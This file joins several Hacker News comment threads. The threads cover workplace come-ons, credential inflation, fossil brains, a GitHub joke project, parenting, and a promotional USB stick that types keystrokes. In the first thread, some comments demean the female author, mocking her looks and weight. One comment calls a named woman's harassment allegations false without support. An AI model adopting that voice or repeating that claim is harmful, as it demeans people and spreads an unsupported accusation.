It Doesn't Count Unless I Know You're Hitting on Me. - <AUTHOR> http://thetechnobody.com/it-doesnt-count-unless-i-know-youre-hitting-on-me/ <comment><USER2> I'm surprised at the arrogance and even offensiveness of several of the comments posted here. (I'm also reminded of the currently trending article about sexual harassment and assault at OSS conventions.)

The author's issue _not_ with men hitting on her, as she clearly explains. Her issue is with men obtaining her contact information ostensibly to do business and then using that contact information to hit on her.

Really, is that distinction so hard to understand? Stop excusing bad behaviour under the guise of "biology" or other lame rationalizations. They are as demeaning to men as they are insulting to women.

<comment><USER3> I think there are two different realities that fit the evidence we've been presented with equally well. One is unacceptable -- and she's well within her rights to complain; the other is acceptable -- and she's making too much of the issue.

It's not beyond the realms of possibility that the following is the case:

      The men "hitting on" her are perfectly polite and
      interested in her professionally, but also want to see if
      there's a chance of a date.  If she were to reply, "sorry
      no", they would leave it at that.

If that reality is the case, her comments are completely unwarranted. She hasn't presented any evidence that excludes that reality, therefore she comes across as whining.

<comment><USER4> No, I think that sounds unpleasant. Just imagine some guy you met once phoning you about business and then asking you for a date. Still think mixing business and pleasure is okay?

It's also obviously totally unprofessional of the person. I mean, what are they going to say to their boss?

        I met the smart freelancer we're looking for,
        but then I asked her for a date and now she isn't
        returning my calls. Sorry boss.

It's unprofessional and unpleasant.

<comment><USER3> I don't know about the business aspect, because I'm not a businessman, but if I met someone through the "business" of one of the volunteer organisations I work for, then I think it's perfectly OK for them to contact me, or me to contact them, and ask for a date.

If I wasn't interested I'd say "no thanks" and expect them to get on with life and not harass me. Granted, this may not accurately describe the situation in the article, but in that case the author has not made her point well.

</comment></comment></comment></comment><comment><USER5> How are so many comments misreading things?

She's not complaining about being hit on. She's complaining about a _bait-and- switch_ \-- pretextually getting her number or other contact information in a business context, and using it later for personal contact.

<comment><USER6> She explicitly said that she will reject anyone who hits on her. How's that not complaining about being hit on?

<comment><USER5> Rejecting is not a direct complaint. She seems to understand that this indeed is just part of life. Yes, she doesn't want to be hit on. But that's a straightforward interaction she can deal with -- by rejecting it, as she says, and moving on.

The bulk of the post, the actual problem she's complaining about, is being hit on by "stealth", where she can't bluntly reject without compromising other interests, whatever the context is supposed to be on the surface.

EDIT: Whoever downvoted you is an asshole. Explaining the reasoning for your interpretation is a necessary part of this conversation.

</comment></comment></comment><comment><USER7> So....girl writes a blog that is half blog, half glamour photo shoot, and is obviously trading on her appearance. Fine, it's a free country, work an advantage if you've got it. She openly admits in the "about" section of her blog that she has all of one year of experience. Then girl is shocked, just _shocked_ , when business professionals don't take her seriously and are only interested in one thing. A superficial girl (with little experience, to boot) running into a bunch of superficial men.

Hmmm....

<comment><USER8> How is she 'obviously' trading on her appearance exactly? If she was minging and had exactly the same online presence you wouldn't be saying that. Tard

<comment><USER7> Huh? This comment makes almost no sense, but if I'm understanding you correctly, you're saying that I wouldn't think the same thing if she showed up at a tech conference in crimson lipstick and a black dress and made pouty faces all over the place?

Um...yes, actually. Yes I would think that.

</comment></comment></comment><comment><USER9> The article does come across as though she's acting very much the 'self- involved woman pirate whore' she's trying to avoid, but it's her site, her prerogative.

Casting that aside for a moment, biology happens. I'm a guy, married and have been hit on in the past (my best defence was to stop working out and put a few pounds on, hasn't been a problem since then although it may have introduced new problems which I'm now working on).

It's natural for men and women to flirt, to hit on each other in an attempt to achieve evolution's goal. It's what we're all wired for. However, having said that as long as boundaries are made clear it shouldn't be a problem.

I'd also like to say that I have both been 'that guy' and been hit on by 'that woman'. In both cases there are worse things in the world to worry about. In the case of 'that woman' I made a pretty good friend and business associate, in the case of being 'that guy', you chalk it up and move on, or in my case make friends with someone who you wouldn't have perhaps spoken to if you weren't initially attracted to.

I'd also second the context. A woman being hit on in SF is nothing like being hit in Cairo, Delhi or even Paris.

</comment><comment><USER10> So after examining her site a little more closely, I'm not sure what she actually does? I see vague hand waving towards a facility for schmoozing in some fashion and copious hand waving toward her having very little idea what's going on in her field with a healthy dash of self deprecation thrown in.

If all you do is schmooze then is it really so strange that someone might mistake your intent as unrelated to acting as a supplier, partner or client to their business? How cut and dried really is it? It's not like she's a developer looking for a new project or something that would clearly qualify as "serious business".

It does have the not-so-faint whiff of life is so hard everybody wants me.

<comment><USER11> I'm not sure what this comment has to do with the article at all. Try to evaluate the idea, and not the author.

Whether or not you think women are treated unfairly in the industry (I used to bristle at the idea, then watched my wife interview for jobs and _radically_ changed my take), and whether or not this particular woman endured any real unfairness:

It is still worth considering how totally unprofessional and inappropriate it may be to ask a woman for her business card in order to abuse it for your personal benefit. It's not something I had thought of before. It's worth discussing.

If gender politics makes your brain turn off (and, it used to do that to me too), just pivot the story in your head so that instead of asking for a date, the guy takes her card at a tech convention and later calls and tries to sell her a dental insurance policy. It's spam. Spam is bad. There's an implied agreement when I give you my card that you're going to use it for its intended purpose: to contact me about something relevant to my business.

<comment><USER10> I don't think your analogy is a good match, someone selling you dental insurance out of the blue is also considered a nuisance, someone asking if you would like to go out on a date out of the blue is par for the course on normal human relations, and the author admits as much and points out that it is easy to simply refuse in this instance.

I have been propositioned for this kind of thing in a business context and have refused and not had negative blowback from doing so. That was actually the first mental shift I tried to see if it made any more sense to me that way, but it still seemed overblown. I can't think of an invitation that it is socially acceptable to make to a new acquintance that it is not socially acceptable to make to a new potential business contact, admittedly I guess that might be a consequence of the extremely limited array of things I consider to be socially acceptable invitations to new acquaintances.

Just saying no thanks is really not so hard, and if it continues after that point it becomes a hell of a lot less ambiguous or defensible.

<comment><USER11> Taking someone's business contact information with no intent of building a business relationship and then using it for your own personal benefit is unprofessional and rude. I'm not sure any number of words is going to get you around that fact.

<comment><USER10> mentioned multiple times a) it is not clear that there was no intent beside personal benefit and b) it is not clear where the line between personal and business is if your business is schmoozing.

This is not to say this is absolutely positively an instance of either of the above, merely that it is too ambiguous and unclear to not come across poorly.

<comment><USER11> It's always going to be possible to come up with some circumstance the author didn't foresee or insulate themselves from that might mitigate the _specific facts_ they're using to promote their idea. But who cares? That's a nerd message board game.

The question is: is taking someone's business card under the auspices of a business inquiry and then using it solely for your own personal reasons unprofessional or not? The answer (I'll go out on a limb here...) is: _yes_. It's unprofessional. Interesting point, blog author! Thanks!

<comment><USER10> Your single paragraph summary was immeasurably clearer than her entire rant. Yes, under those exact circumstances it is both unprofessional and stalkerish.

</comment></comment></comment></comment></comment></comment></comment><comment><USER12> Hmmm. I'm frustrated, because I think the author is making a very important point in a very, very poor way.

Gender issues are important. They are important everywhere and they are especially important in industries like ours where the gender ratios are so unbalanced.

That being said, I find it extremely difficult to take this author seriously. I don't think I can critique her writing in a way that doesn't either come off as mean or completely expose me as the curmudgeonly bastard that I am, so I will just say that I found her style distracting. It's her blog and she should by all means write however she wishes - and to be fair she may not have expected the attention she is getting - but it's disappointing to me to see this issue represented in this way.

Hopefully, though, people will be able to see past that and realize that it's pathetic and rude to collect someone's personal contact information under the guise of business networking with the intent of calling them later for a date.

<comment><USER3> _Hopefully, though, people will be able to see past that and realize that it's pathetic and rude to collect someone's personal contact information under the guise of business networking with the intent of calling them later for a date._

Sure, it's underhand, but she hasn't said anything to suggest that they're not interested in her both personally _and_ professionally.

This is agreement with you: she's very unclear.

</comment></comment><comment><USER13> Why doesn't she get a second phone/line for business only. If someone abuses that then at least they don't have her personal number and she can deal with the inappropriate use of her business number accordingly.

She could also make it clear on the card that it is a business number.

<comment><USER14> It doesn't really matter, I've had an ex get asked to dates over _email_ by potential business leads. Especially awkward is the "half and half" situation where they asked you to dinner to discuss business. For her it was especially hard to turn down because it wasn't just a networking client is was often a potential client for her firm.

<comment><USER13> The point is you take steps to separate your business and personal details so that some percentage of your encounters will get the picture.

For those that don't, you should be able to deal with them quite candidly. If they persist and start harassing you then block their number or report them.

If you can't do this, then maybe the problem lies on your end. Stop putting yourself in the position where you are helplessly being tormented.

</comment></comment></comment><comment><USER15> Two things:

1\. You're a woman, and men will hit on you, and that's not a bad thing; it's biology.

2\. If you think SF men are aggressive, then obviously you haven't been out much. I don't think I've been anywhere in the world that's LESS aggressive than SF when it comes to dating/mating. Go to Brazil and see what aggressiveness is.

<comment><USER16> #2 doesn't make it right.

Does a woman not have the right not to face that? If you've got a girl, don't you feel personally that she shouldn't have to face that?

At what point are aggressive come-ons just harassment?

<comment><USER17> From my perspective? No, she really doesn't have the right not to face that. She's a woman. It's biology. Part of being a human being is interacting with other human beings, many of home would like to sleep with you.

She should have to deal with harrasment? Nope, but that's a different thing entirely. Somebody scoping out your card and then asking you out on a date isn't harassing you. They're asking you on a date. It's what happens after you say 'no' that things become different.

</comment></comment></comment><comment><USER18> You know, some people say a woman mind is a mystery, but this thread is making me think that some guys simply don't make any effort to actually understand what women mean when they say something clear and to the point...

<comment><USER3> In my opinion she's anything _but_ clear. She doesn't explain, for example, when she gets asked out on a date (is that exactly what she's suggesting these men are doing -- it's again not clear) why can she just not say "no thanks" and leave it at that?

<comment><USER19> >In my opinion she's anything but clear.

Seriously? You miss her saying that trading business cards is not an invitation for personal contact?

I found it blatantly obvious that she finds direct flirting acceptable while the subterfuge of faking a professional interaction to acquire contact information to be creepy and spineless.

I think a lot of people here are taking this woman's complaint personally which is actually quite funny.

<comment><USER3> Fine, so those who read her blog won't be asking her out on a date, but it shouldn't hold them back from asking out other women who they think might be more receptive to the same approach. This is her personal opinion and personal taste, not a guidebook to women.

</comment></comment></comment></comment><comment><USER20> She's right on point, IMHO. It's not the fact that she's being hit on that bothers her. It's the fact that the people who ask for her card give no clues as to their intentions. She wants people who ask for her card for personal reasons to say that is what they are doing. Makes sense to me.

</comment><comment><USER21> It's not clear to me if she's a) complaining for the sake of it, b) looking for advice on how to handle this, or c) offering advice to guys on what not to do. Point c is probably really good advice to a lot of people, but she's muddled it so much with points a and b that it's not going to help anyone.

</comment><comment><USER22> I suspect the bait-and-switch wouldn't be such an issue in a more sexually equal environment. Physicians are about 50:50 and while I've heard plenty of female doctors complain about being called "nurse", I've never heard a complaint about "bait-and-switch". I have heard a few complaints about "where'd all the men go?"

The environment in tech sounds about like the military: women have to be prepared to physically fight their own team. Which is deeply unfortunate.

</comment><comment><USER23> I see her point, but I don't blame any of those guys. The hottest chick at the party is going to get hit on in every way possible and there is really nothing you can do about it. "My wallet's too small for my fifties and my diamond shoes are too tight."

<comment><USER14> She did do something about it, didn't she? It's not going to solve the problem overnight but it's more likely to create change than just bucking up.

</comment></comment><comment><USER24> Why is this story still on the front page?

<comment><USER25> How long were Noirin Shirley's false allegations on the front page? Once the white knights finish their posturing, it will disappear (until next time).

<comment><USER26> If you feel the need to pull that in here, at least provide sourcing for your allegations of falseness.

<comment><USER25> How about the fact that her police report resulted in nothing happening? All we got out of the entire incident was a character assassination under false pretenses and a lot of whining.

It probably also violates HN etiquette to link your comments to your female friends and ask them to upvote it. Please don't do it anymore.

<comment><USER27> I wouldn't expect ANY outcome from a police report prior to a conviction in court. After all, the investigation now spans at least two states and two continents. I expect that the "accused", if informed that he has no case to answer, will immediately let all us know that fact! I WAS sursied when Shirley posted her accusation, but then got to thinking that she has no other mechanism to warn others - the police case is "sub-judice". Have a nice day and remember that women can knee you in the balls if you are smaller than them.

</comment></comment></comment></comment></comment><comment><USER28> Wow that youtube video she included was the most annoying thing I've seen all week. I lasted 30s. And yes, she does sound self-involved, as she speculates at the end of the post. Of course she gets to have her rant (why ask?) but I have to wonder why... it doesn't come off very well.

<comment><USER29> Well she's got eight, count em, EIGHT pictures of herself and her shiny red lips at the top of the page. So yeah, self-involved? Could be.

<comment><USER30> True. That's a flirty rather than a professional image by US standards. That said, it can take some time to adjust when you move here from the UK (or is it Australia/NZ? Didn't check). I found California quite strange for the first year. Also, Americans like foreign accents a _lot_. I get flirty remarks about mine all the time despite being here for years and a wedding ring.

</comment></comment></comment><comment><USER31> <snark>Yeah ... it reallly sucks to be goodlooking.</snark>

I understand what she's saying, and I empathize, I really do, but its is a hazard of being attractive ...

SUCK IT UP.

Its bad form to rant about that kind of stuff ... its almost like some dude who owns a Ferrari/Aston Martin/whatever, complaining about how people are always crowding around his car wherever he parks it. (Yeah how dreary it must be to own a Ferrari!) ... It just comes across wrong.

If she really wants to solve her problem and stop ranting ... let her put on 30 pounds. I _promise_ the shennanigans will stop ... abruptly.

</comment><comment><USER32> Methinks the lady doth protest too much. If she has as big a problem with this as she claims then she has greater challenges facing her then learning how to set (or correct) a boundary. Seriously. I was recently fired by a client after rejecting her sexual advances. Maybe I'll make a blog post bragging about my animal magnetism to assuage my disappointment over my professional failure.

</comment><comment><USER26> Also, it doesn't count unless _I_ know you're hitting on me.

</comment><comment><USER24> A male hit on her, _in San Francisco_. Context is everything, no? This is possibly amazing, but amazing enough to generate a blog post?

I've seen a lot of comments in social media from SF women stating that they can't get a guy to even look at them.

<comment><USER33> Context really is everything, which is why I found your comment misleading. The topic of her post is not that a male hit on her _anywhere_ in San Francisco. What she's talking about is the fact that some male(s) interpreted exchanging of business cards as "giving out a phone number" which can then be used for personal reasons, such as hitting on her. Furthermore, she finds herself facing an interesting dilemma: she feels she can't be "harsh", because they're a business contact.

It _is_ an interesting topic, at least for me: I'm male, so I haven't had to go through a situation like that and I don't have a clue how I would respond to something like that if I were in her shoes. Had I heeded your summary without reading the blog, I would've missed a mildly interesting topic.

<comment><USER24> Yes, but the "hitting on her" part is why she is aggrieved. I agree totally that using business card exhange for that is creepy.

</comment></comment></comment><comment><USER34> I'm a man and I've certainly questioned the intentions of quite a few women who "network.". I've also had questionable intentions with women I've networked with. So what? Flirting happens when sexes meet. Sometimes even more. If you want to close the door on that, say you have a boyfriend or your not interested in dating, or just don't flirt back. Otherwise you're the wuss for being unable to handle the facts of life. Disrespectful or overly persistent is another matter, but that doesn't seem to be the case.

A lot of people go to networking events to meet partners as well as network.

And American men are aggressive? Try Italian, Spanish, French, ...

<comment><USER35> You're missing the point, it's not the flirting, it's the getting of contact information under the false pretences of doing business that's she's understandably annoyed about.

</comment></comment><comment><USER36> What a complainer she is. Problem totally blown out of proportion. She is not even that hot (6 out of 10, maybe).

A girl with barely any experience who goes to networking events. WTF does she expect?

<comment><USER8> What a dumbass you are - I bet you're one of those guys.

P.S. 10/10 _

</comment></comment><comment><USER37> I think she had better get used to it. Hot women, and she is hot, are hard to approach, so guys will take any segway they can get, even if it's somewhat disingenuous. I have a feeling if she really wanted this to stop she would put on a fake wedding ring, but I somehow think that might put a damper on her professional success... sadly enough.</comment>


Why Are So Many College Graduates Driving Taxis? - <AUTHOR> http://www.bloomberg.com/news/2013-06-25/why-are-so-many-college-graduates-driving-taxis-.html <comment><USER2> Because our lower education system pounds the idea of "you're nothing if you don't go to college" into everyone's heads for twelve years. We've all been told that if we go through college and get the degree, we'll be all set in life. I think the millennials have it worst of all so far but it's not just them.

Somewhere along the lines, college changed from being a stepping stone to the goal in and of itself.. and no one considered what comes after.

<comment><USER3> >Somewhere along the lines, college changed from being a stepping stone to the goal in and of itself.. and no one considered what comes after.

I think some colleges and universities themselves are a part of this. The attitude from my school (small liberal arts) at least was that college was explicitly NOT meant to be training you for your future career, but rather that your studies were worthwhile for the sake of learning and personal enrichment. Just a lot of the "teaching you how to think" bs that liberal arts schools tend to sell themselves on.

<comment><USER4> That whole "we aren't a vocational school" attitude is fine for wealthy people, but if you're going to go $150k into hock to get your degree you better have something that makes you attractive to employers.

</comment></comment></comment><comment><USER5> I think it's clear why. It used to be that most jobs could be performed without any particular major. Instead, a college degree was taken as a generic business indicator that you know how to work. People with degrees in hard sciences could always take entry-level computer jobs with no special training. Technical specialization has resulted in a situation where businesses cannot find enough high technology workers and the students exiting colleges have less useful liberal arts degrees in this economy like journalism. In the past, this was solved by on-the-job training.

Today, large businesses often solve this worker shortage by outsourcing the job to substandard contractors in countries with far lower pay bands. Businesses would rather pay to train a cheap, blank slate worker than pay the premium to train an American with a four-year college degree. This can be profoundly short-sighted, but the most recent management school generation is too often wedded to bean counting and manipulating vanity metrics. They often fail to grasp subjective and hidden business costs. HP's Carly Fiorina is a classic example. She wanted to cut R&D to zero because she believed it was purely a cost center and produced no profit. If anything cannot be counted, it does not count.

<comment><USER6> You bring up an interesting point that reminded me of an article I read a week ago about how Germany does the exact opposite (with overall better financial implications):

[http://www.economist.com/news/special- report/21579145-ingred...](http://www.economist.com/news/special- report/21579145-ingredients-german-economic-success-are-more-complex-they- seem-dissecting)

"Germany managed to avoid a surge of lay-offs after the financial crisis and has done far better than others at getting the young and the hard-to-employ into work.

How did it manage that? Most explanations heap praise on the Mittelstand model and the system of vocational training. Firms such as Storopack or Rösch take on apprentices, mixing practical training with classroom tuition."

Of course, this is NOT the only reason for their current financial prowess in Europe, but a contributing factor

<comment><USER7> it's also interesting to me that a former economist in the obama administration is writing an article about college grads driving taxis, right around the time the powers that be are trying to implement immigration reform to make it easier to import foreign workers to fill various roles. he seems to be dancing around some obvious conclusions that the job market is (gasp) driven by supply and demand for labor, but doesn't quite reach a conclusion.

</comment></comment></comment><comment><USER8> Personally, I think that the real reason why people with degrees are having a hard time getting jobs is that at one time, having a degree meant you came from money. The problem now? this is diluted. More and more poor folk have degrees, and so it's no longer a reliable class indicator. (the positive view is that it's also possible that class indicators are becoming less important.)

The problem was that they confused cause with effect, and decided that we should put a bunch of effort into getting degrees for poor people. This diluted the degree as a class indicator.

Now, I don't have a degree or rich parents, so obviously, I haven't seen the parts of the job market that rely on those class markers. I'm the riff-raff that those filters are designed to keep out.

However, from where I stand? most individual contributor jobs in my industry that I'm actually qualified for are open to me. In the tech sector, the value of a degree is smaller than actual work experience. (I mean, if you actually /learned/ something while getting that degree, that's pretty valuable. But the paper itself is not.) Internships? they are paid. Maybe not paid a lot, but something, and the real companies usually pay substantially.

As far as I can tell, unpaid internships are 'class marker inflation' \- "Not only did my parents have enough cash to put me through four years of art history, and the contacts to get me this internship, they could support me while I worked for free!"

<comment><USER9> Off topic and sorry for asking in this forum (but I'm guessing others might also be interested).

What ever happened with the colo rates re: "Feb 1, 2013" as detailed on this page:

[http://prgmr.com/san-jose-co-location.html](http://prgmr.com/san-jose-co- location.html)

Did they raise you on this or were you able to renegotiate favorably? (A post on this would be nice. Would like to know the business details as I'm sure others would if you'd like to share).

<comment><USER8> I'm moving to coresite santa clara, and I'm mostly in, but I'm also mostly out of power, and the conditions are not so favourable for me renting out significant rack space. I've also been kinda soured to the idea of letting other people into my production co-lo[1] so I'm kinda re-thinking the whole customer-accessible co-lo thing.

That's the thing, renting co-lo space, when you least datacenter space is generally a really shitty deal; the economics make more sense when you own the place.

I'm also building out a datacenter in my buddy's warehouse in santa clara, but the fiber isn't there yet, and the power isn't in yet so unless you can deal with comcast-level network, that doesn't help you. It does look like it will be pretty cool when it's up; we have a bunch of those 'datacenter in a cargo container' things; My buddy wants to rent out whole containers at a time to big players; I am focusing on renting dedicated servers in them. Again, it's high density, so having a bunch of smaller customers with access is probably a bad idea.

So yeah, uh, it's essentially still all up in the air, with no real ETA.

[1][http://blog.prgmr.com/xenophilia/2013/05/outage-in- rack-05-1...](http://blog.prgmr.com/xenophilia/2013/05/outage-in- rack-05-11.html)

</comment></comment></comment><comment><USER10> There was a mix-up of cause and effect, to some degree. Since early colleges were limited to a very small percentage of the population who tended to have strong parental guidance and even hired tutors, the average academic ability of college graduates was much higher than non-college graduates.

The response was that, then, if everyone had a college degree, everyone would be so able. The problem then is twofold:

First, people without a strong primary education background went to college, forcing colleges to either lower standards and/or spend time remediating (financial pressure from governments to tie funding to graduation rates sure didn't help to preserve high standards).

Second, the presence of a college degree as an indicator of an unusually high level of prior primary education and academic ability disappeared since so many people have a college degree.

</comment><comment><USER11> The literal answer is, because there are too many college graduates. The US educational system, and society's view of education, is still rigged for a mid-20th-century rose-tinted view of the future that never came to pass, and was never going to.

<comment><USER12> Yup. Just because more people are getting degrees does not mean that there are enough jobs that require/compensate for having a degree.

But this apparently isn't changing anyone's behavior yet, so the education bubble continues to grow.

<comment><USER13> Are you saying that my degree in underwater basket weaving won't get me a job?

<comment><USER14> It's not that simple. Your degree in electrical engineering might not get you a job depending upon a number of factors, where once it was considered a sure thing.

<comment><USER15> I have a hard time believing that someone that averages a B in electrical engineering from any 1st or 2nd tier school can't get a well paying job somewhere in north america.

<comment><USER14> I have some anecdotal evidence to suggest otherwise, but that's somewhat irrelevant. Perhaps electrical engineering was a bad choice. A business degree then? Used to be a good path into middle and upper management, is now a requirement for stable office work (or so it seems to me).

</comment></comment></comment></comment></comment></comment><comment><USER16> It's called degree/credentials inflation, and it's caused by a combination of persistent mass unemployment and the message that education can solved it.

Now, mass unemployment simply cannot be solved via education - the parable of the 100 dogs and 92 bones was discussed here not so long ago. (The original link was this one, I believe: [http://alittleecon.wordpress.com/2013/06/19/the-parable- of-1...](http://alittleecon.wordpress.com/2013/06/19/the-parable-of-100-dogs- and-92-bones-why-the-work-programme-cant-work/))

However, having a good education and credentials does increase the chances that you'll get one of the 92 metaphorical bones, so of course it makes sense to get one. But this only really works reliably if your education and your credentials are _better_ than those of your peers.

This leads to an arms race which explains why degrees are become simultaneously worth less and more important.

Edited to add: The effect on degrees is actually old hat already. These days, it's about an inflation of unpaid internship to spice up your CV, at least for those in non-technical fields.

<comment><USER17> The real problem, then, is to figure out what is wrong with our system that it only consistently produces 92 bones...

<comment><USER18> Why does something have to be wrong with the system for that to be happening?

<comment><USER17> Keep in mind that the analogy isn't exact. We're talking about workers, not dogs, and jobs, not bones. Workers are productive. They produce when they have jobs. So 92 bones, in this case, means that 8 workers out of 100 are idle. Either society must support them, then, or let them starve.

I reject the notion that they should starve. I'm OK with supporting them, but wouldn't it be better, more popular at least, to have them produce something? A resource standing idle is an opportunity so, all else equal, idle resources should not exist.

I realize it's more complicated than that. Frictional unemployment, etc. But that's not what we're talking about here. We're talking about a significant chunk of the population being permanently idled by structural changes in the economy.

<comment><USER19> Except that a fair portion of that theoretical 8% is frictional. In the US at least about half of unemployment has historically been frictional or structural.

<comment><USER17> I think it can be easily inferred from my comment that I'm not talking about frictional unemployment.

</comment></comment></comment></comment></comment></comment><comment><USER20> College-style education is both expensive and risky. Expensive not only from tuition but also four years of lost earnings and missed actual experience. Risky because academia is only loosly connected to the working world - so much of what is taught will turn out to be irrelevant.

While still unproven alternative education techniques such as online or internships/apprenticeships may turn out to be more effective and much less expensive. If employers become convinced traditional diplomas and degrees are unreliable indicators of quality and better alternatives exist, we could see a sudden shift away from traditional education.

Would you rather hire someone with a middle ranking college degree or two years experience and a letter of recommendation from their boss? Or a certificate from a reputable online program in the exact skill you need?

<comment><USER21> I would hire the one with the degree (in computer science), absolutely no question about it. The person with 2 years experience or certificate with the exact skill might be able to do 80% of the work (the easy stuff), like writing some front end code, but as soon as they encounter anything requiring more than basic understanding of computer science and math and some scripting skills, they'd be stumped most likely. Not only that, but someone with extensive math knowledge will see math and elegant solutions where others would see nothing.

University is a great place for people to learn the fundamentals in a structured way and learn how to learn. While a few very talented and motivated folks can pick it up themselves by reading, the vast majority can't reach that point by themselves (me included).

(Note, I'm only talking about sciences and engineering, those are the only ones I know anything about)

<comment><USER22> I have hired both types of candidate. In my opinion, a four-year college degree is worth roughly the same amount as two years of real-world experience. There are exceptions on both sides, but on average four years of college seems to be roughly equivalent to two years of work experience.

Someone with college experience will probably know more theory, which is useful. But they rarely realize that large projects are significantly different from their college work, and they don't understand why you have to do what your users want instead of what the theory says is correct. So when I hire someone with a degree and no experience, I know my team will need to teach them those things.

On the other hand, people without college degrees can get into a lot of trouble if they don't learn the theory behind their work (especially algorithmic complexity). So when I hire someone without a degree, I know my team will need to teach them those things.

</comment></comment></comment><comment><USER23> "because the demand for cognitive skills associated with higher education, after rising sharply until 2000, has since been in decline."

how about..

because the quality of a degree has been falling for decades and it is now widely known outside of government and very large corporations that the skills people have are valuable but the skills a college claims a given person has are fairly unlikely to track reality or to be real world valuable.

Said the federal land grant college graduate!

</comment><comment><USER24> I am still waiting for more trade schools / bootcamps and apprenticeships to start opening up in the states.

We should be training people for the job that they will eventually hold instead of teaching theoretical scenarios and looking over case studies.

Its already started to gain a foothold in the tech industry and I believe it will be even more in demand as college degrees become less valuable.

</comment><comment><USER25> "If anything, GPS technology may have had the opposite effect."

They're clearly drawing the wrong conclusion. GPS makes being a cabbie easier, which makes it less valuable for people to put the time into becoming a skilled professional cabbie, which makes driving a cab a more feasible option for someone who looks at it as a temporary job.

<comment><USER26> On the contrary, Orszag agrees with you. The exact quote is:

        It's hard to believe this is because the skill required to drive a taxi
        has risen substantially since 1970. If anything, GPS technology may
        have had the opposite effect. (Acquiring "the knowledge" of London
        streets, as taxi drivers there are required to do, is cognitively
        challenging, but it may no longer be necessary.)

</comment></comment><comment><USER27> Did the study take into account the rise of private higher education companies that have sprung up in the past twenty years (like the University of Phoenix)? These colleges are publicly traded companies that have campuses all over the country. They have a higher acceptance rate, they focus a great deal of marketing to lower income communities and they notoriously accept people that may not necessarily be ready for college (as long as they can pay the fees). Maybe the story isn't "the labor market is so bad that even college graduates are taking menial jobs" but instead "more blue collar workers are getting degrees (that don't necessarily get them better paying jobs)".

</comment><comment><USER28> There are a lot of ruderless - granted smart - young people out there who were essentially abandoned to the education system by their parents. If you don't have any plausible goal in mind when you go to university, is it really surprising that you end up nowhere after university? All the education in the world won't help you if, at the end of the day, you just don't really want to do any particular job.

</comment><comment><USER29> > "If cognitive skills became less valuable in the labor market, wouldn't one > expect wages to fall more for college graduates than for others?"

Apparent stagnation could also occur if a small proportion of graduates are become significantly overvalued for non-cognitive skills while a majority experience wage stagnation or decline.

</comment><comment><USER30> The Obama economy.

<comment><USER31> citation needed</comment></comment>


520M-year-old arthropod brains turn paleontology on its head - <AUTHOR> http://phys.org/news/2015-11-million-year-old-arthropod-brains-paleontology.html <comment><USER2> Summary: Long-held belief - soft tissues don't fossilize. Researcher claimed to find fossilized brain, met with flack and disbelief, subsequently demonstrated how it could have happened (flash coverage with sufficient mud in sufficiently anoxic environment). Brain imprints are fossilized films of flattened carbon.</comment>


Show HN: Airbox – Airbnb for Dropbox - <AUTHOR> https://github.com/frankjwu/airbox

<comment><USER2> I want to like this, but storage space is just so damn cheap/free, I can't imagine ever using something like this.

</comment><comment><USER3> TorBox would be a better name?

</comment><comment><USER4> Is this a parody?

<comment><AUTHOR> Not a parody, but it did actually start out as a joke!</comment></comment>


Ask HN: Dads of HN, what do you want for your kids' education? - <AUTHOR> I'm thinking about my own kids' education and how to prepare them for the future.
I'm curious what your thoughts are and how you translate that into your own kids' educational experiences.
Open-ended question - feel free to respond as it occurs to you! <comment><USER2> Teach them that mothers can end up on HN, just like fathers, and that they might have useful advice on educating kids, too :-)

<comment><AUTHOR> I'd love to hear it!

</comment></comment><comment><AUTHOR> For added clarity this isn't to exclude moms of HN. My curiosity was sparked by wondering to what degree dads here were engaged around their kids' education and what had their attention. Please feel free to share regardless of role/gender, I'd love to learn from the whole community!

</comment><comment><USER3> Mostly I've learned that children tend to prosper despite the efforts of adults. The most productive thing I have done is to talk to my child as if they were another person from before they could talk.

Good luck.

<comment><AUTHOR> Love this. Something I do with my kids as well. Thanks for sharing!</comment></comment>


Elsevier, that just freaked me out - <AUTHOR> http://swaldman.dreamwidth.org/352778.html <comment><USER2> Plugging things in your USB port has been known as a dangerous activity for quite some time.[1,2] It's surprising that someone at Elsevier thought it would be a good idea to use these techniques though.

[1] [https://srlabs.de/badusb](https://srlabs.de/badusb)

[2] [https://media.blackhat.com/bh- dc-11/Larimer/BlackHat_DC_2011...](https://media.blackhat.com/bh- dc-11/Larimer/BlackHat_DC_2011_Larimer_Vulnerabiliters_w-removeable_storage- wp.pdf)

<comment><USER3> Is it _really_ all that surprising that someone from Elsevier thought it was a good idea?

<comment><USER4> This is a known attack vector. For a major company to use it is probably criminal, under the Computer Fraud and Abuse Act. There's no sign of an EULA here, authorizing them access.

Elsevier knows this is an attack. They published a book titled "Seven Deadliest USB Attacks", by Brian Anderson. So they can't claim this wasn't done knowingly.

Has anybody found out what the attack does?

[1] [http://www.elsevier.com/books/seven-deadliest-usb- attacks/an...](http://www.elsevier.com/books/seven-deadliest-usb- attacks/anderson/978-1-59749-553-0)

<comment><USER5> "Making a thing type stuff when you plug it in" is an attack vector in the same way "sending a request over the network" is.

<comment><USER6> Well it's not "just typing stuff", it's typing some rather specific stuff to make your computer do something quite unexpected. The reasonable expectation (for a promotional item) is that it's a memory stick, not that it suddenly starts typing system control global keyboard shortcuts into your computer.

Say you'd post a persistent XSS to a forum, but only use it include Fartscroll.js, is that an attack or not? Cause I consider that to be pretty much the same category as the "surprise" automatic typing USB thing.

This weekend actually I used a USB device where this was in fact the _intended_ behaviour: a barcode scanner. It registers as a keyboard and just types the numbers (or string) of whatever it scans. Very clever idea because it makes it very easy to write apps for, you don't need a driver or anything. Except I had momentarily forgotten that was how it works, so it surprised me anyway. Fortunately the numbers didn't do much in the program I had focused but still, that feeling of _something else_ unexpectedly typing on my computer! Yeah if it had sent global keyboard shortcuts in order to make my computer start applications and load webpages, I'd be pretty pissed.

</comment></comment></comment></comment></comment><comment><USER7> Can we have a usb condom for this situation? The actual product called "usb condom" is about charging phones and blocking all data pins on the usb drive. Can we have one that will only allow devices to connect as mass storage devices, or is this at odds with the usb protocol?

<comment><USER8> I wonder if you actually need a hardware device for this?

Seems you could have an OS feature so when you insert a USB device it first confirms you're happy for the device to register as an X (mass storage, input, audio etc) before it lets it do it.

<comment><USER8> Though saying yes to registering your keyboard, mouse etc every time you boot might get a little tedious (not to mention impossible if you have no other input devices!).

Perhaps an extension to USB that has 512-bits worth of persistent storage per device. When you register a device the OS produces a random number and writes it and saves the list of allowed IDs.

Or perhaps you could ask the OS to only apply the ask to register feature to certain USB ports?

<comment><USER9> USB firewall.

White-list the USB keyboard when it is first attached, using its unique serial number, and avoid a prompt in the future.

